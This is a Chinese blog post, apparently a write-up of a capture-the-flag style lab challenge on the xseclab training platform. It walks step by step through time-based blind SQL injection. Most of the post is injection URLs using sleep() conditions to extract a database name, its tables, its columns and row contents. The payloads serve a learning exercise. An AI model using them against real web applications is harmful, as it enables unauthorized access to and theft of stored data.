
网络信息安全学习平台---注入关第7题
时间:2016-08-06 作者:zhankehua 评论:0 点击:3000 次
网络信息安全学习平台
sql盲注
1、首先要确定数据库名的长度
输入
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(length((SELECT concat(database())))<10,sleep(2),1)%23
查看等待时间,当为14时,等待,说明数据库名的长度为13
2、猜测数据库名
猜测第一个字符
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((SELECT concat(database())),1,1)='0',sleep(2),1)%23
当输入测试第一个字符为r时,等待
猜测第二个字符
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((SELECT concat(database())),2,1)='0',sleep(2),1)%23
当输入为0时,等待
......
依据猜测,数据库名为r0866cplushua
3、猜测数据库中有多少个表
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(TABLE_NAME) from information_schema.tables where table_schema=0x723038363663706C7573687561)=3,sleep(2),1)%23
经过多次测试,确认有3个表
4、猜测第一个表名的长度
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(length((select TABLE_NAME from information_schema.tables where table_schema=0x723038363663706C7573687561 limit 0,1))=3,sleep(2),1)%23
为3
------------------------------------------------好了,明天继续猜测吧2016-4-25 23:16--------------------------------------------------
5、猜测表名
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select TABLE_NAME from information_schema.tables where table_schema=0x723038363663706C7573687561 limit 1,1),5,1)='o',sleep(2),1)%23
.....
最后知道有log,user,motto表名
6、猜测表有多少列
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(COLUMN_NAME) from information_schema.columns where table_name=0x6D6F74746F )=3,sleep(2),1)%23
经过多次测试,表motto中有3列
7、猜测列名长度
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(length((select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 0,1 ))=2,sleep(2),1)%23
第一个,2个字符,第二个8个字符,第三个是5个字符
8、猜测列名
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 1,1 ),1,1)='u',sleep(2),1)%23
第一个为id,第二列为username,第三列为motto
9、猜测有多少行
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(*) from motto)=4,sleep(2),1)%23
结果为4行
10、猜测内容
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(ASCII(substr((select motto from motto limit 0,1),1,1))=109,sleep(2),1)%23
方法知道了,我用sqlmap跑试试
本文标签:
转载请注明出处: http://www.itsec365.cn/?id=3
- 上一篇:
- 下一篇:跨站点请求伪造(CSRF)测试记录及防御
已有 3000 位网友参与,快来吐槽:
发表评论